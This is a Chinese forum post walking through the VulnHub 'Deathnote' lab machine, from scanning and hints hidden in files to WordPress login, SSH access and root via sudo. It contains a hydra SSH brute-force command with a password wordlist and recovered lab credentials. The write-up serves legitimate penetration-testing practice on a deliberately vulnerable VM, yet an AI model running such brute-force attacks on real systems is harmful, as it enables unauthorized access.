vulnhub-Deathnote

打印 上一主题 下一主题

主题 541|帖子 541|积分 1623

Deathnote

0x01 信息收集

渗透的第一件事那就是信息收集,虚拟机启动起来,nmap扫一手,

 192.168.56.101存在,并且开启了80和22端口,那么就访问页面。
但是页面返回的结果是没找到http://deathnote.vuln这个网址

 那么根据我做题的经验,这应该是需要绑定域名的,意思就是192.168.56.101跟deathnote.vuln这个域名是绑定在一起的,访问192.168.56.101就会跳转到deathnote.vuln。
在windows上配置dns
C:\WINDOWS\system32\drivers\etc 的hosts文件加入如下字段(linux上是/etc/hosts)
  1. 192.168.56.101 deathnote.vuln
复制代码
访问后就会是这个页面了

扫一下目录
  1. 200 -   68B  - /robots.txt
  2. 200 -    2KB - /wordpress/wp-login.php
  3. 200 -    6KB - /wordpress/
复制代码
扫到一些比较有用的东西,先看看robots.txt
  1. fuck it my dad
  2. added hint on /important.jpg
  3. ryuk please delete it
复制代码
有一个important.jpg文件,这边下载到本地看看。
图像是显示不出来的,用010 editor打开看看
  1. i am Soichiro Yagami, light's father
  2. i have a doubt if L is true about the assumption that light is kira
  3. i can only help you by giving something important
  4. login username : user.txt
  5. i don't know the password.
  6. find it by yourself
  7. but i think it is in the hint section of site
复制代码
这里的user.txt应该是指wordpress上的一些用户,这个网站的作者是kira,一会可以用这个尝试登陆后台。
那么问题来了,密码是什么呢?
于是在寻找中不不经意看到了一串话

 这个 iamjustic3 猜测估计是密码没错了。于是访问 http://deathnote.vuln/wordpress/wp-login.php 尝试登录。
  1. username: kira
  2. password: iamjustic3
复制代码
 
0x02 登录后台

登录成功!登录到后台发现了一个 notes.txt(在前面的hint里有说有一个notes.txt文件)

 打开后发现是一个密码本
  1. death4
  2. death4life
  3. death4u
  4. death4ever
  5. death4all
  6. death420
  7. death45
  8. death4love
  9. death49
  10. death48
  11. death456
  12. death4014
  13. 1death4u
  14. yaydeath44
  15. thedeath4u2
  16. thedeath4u
  17. stickdeath420
  18. reddeath44
  19. megadeath44
  20. megadeath4
  21. killdeath405
  22. hot2death4sho
  23. death4south
  24. death4now
  25. death4l0ve
  26. death4free
  27. death4elmo
  28. death4blood
  29. death499Eyes301
  30. death498
  31. death4859
  32. death47
  33. death4545
  34. death445
  35. death444
  36. death4387n
  37. death4332387
  38. death42521439
  39. death42
  40. death4138
  41. death411
  42. death405
  43. death4me
复制代码
先保存为了 passwd.txt ,应该是一会爆破ssh要用到的。
接下来找了半天发现没什么东西可以利用了(其实这个后台可以在页面写入后门,但是这里因为可以直接用ssh登录就没去尝试)
 
0x03 SSH登录

上面收集到了密码本,但是还差账户呀,账户不知道是什么。
通过上面的收集,猜测账户应该是 kira 和 l 之间的某一个,于是制作 user.txt
  1. kira
  2. Kira
  3. L
  4. l
复制代码
注意:我就是栽在这里,因为当时试的是大写的,试了半天没想到是小写的,哭死。
利用 hydra 爆破
  1. hydra -L user.txt -P passwd.txt ssh://192.168.56.101
  2. -L 账户本
  3. -P 密码本
复制代码

这里也是成功的跑出来了,那么利用 ssh 登录l账户。

登录成功!
 
0x04 切换用户

在 /home/l 目录下发现了 user.txt,打开是一串brainfuck的加密字符串

 解密得到如下字符
  1. i think u got the shell , but you wont be able to kill me -kira
复制代码
他似乎在挑衅我呀。
查看 /home,发现另一个账户 kira

 有一个 kira.txt,但是没有权限无法访问。于是继续信息收集,在漫长的收集终于在 opt 下找到了一个 L 的目录。

先看看 kira-case 文件,里面有一个 case-file.txt 。 内容如下:
  1. the FBI agent died on December 27, 2006
  2. 1 week after the investigation of the task-force member/head.
  3. aka.....
  4. Soichiro Yagami's family .
  5. hmmmmmmmmm......
  6. and according to watari ,
  7. he died as other died after Kira targeted them .
  8. and we also found something in
  9. fake-notebook-rule folder .
复制代码
有用的东西在 fake-notebook-rule 目录下,于是访问 fake-notebook-rule 目录。

 有俩文件,hint 的内容是 “use cyberchef”。
然后查看了 case.wav 文件发现了如下字符串
  1. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d
复制代码
这不就是16进制吗?自己写一个脚本
  1. a = [0x63 ,0x47, 0x46, 0x7a, 0x63 ,0x33 ,0x64 ,0x6b ,0x49 ,0x44 ,0x6f ,0x67, 0x61 ,0x32 ,0x6c, 0x79 ,0x59 ,0x57 ,0x6c ,0x7a, 0x5a, 0x58, 0x5a, 0x70, 0x62 ,0x43 ,0x41, 0x3d]
  2. b = []
  3. for i in a:
  4.     b.append(chr(i))
  5. import base64
  6. print(base64.b64decode("".join(b)))
复制代码
结果是:passwd : kiraisevil,猜测是kira账户的密码。
尝试登录。

 成功登录!
 
0x05 提升权限

kira 目录下有个 kira.txt 文件,内容如下:
  1. cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp
复制代码
base64解得:
  1. please protect one of the following
  2. 1. L (/opt)
  3. 2. Misa (/var)
复制代码
应该是说L在opt目录下,Misa在/var下,但是当我去看Misa的时候他文件说的是这样的:

 他说晚了。。。
既然登录 kira 了,尝试提个权吧。命令 sudo -l 查看一下 kira 的账户情况

 (ALL : ALL)ALL,这种情况那就好办了,直接 sudo -i 输入密码就是 root 权限了。

 完结撒花!!
 
0x06 总结

这道渗透其实是简单的,适合初学者,还是挺有意思的。
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

小秦哥

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表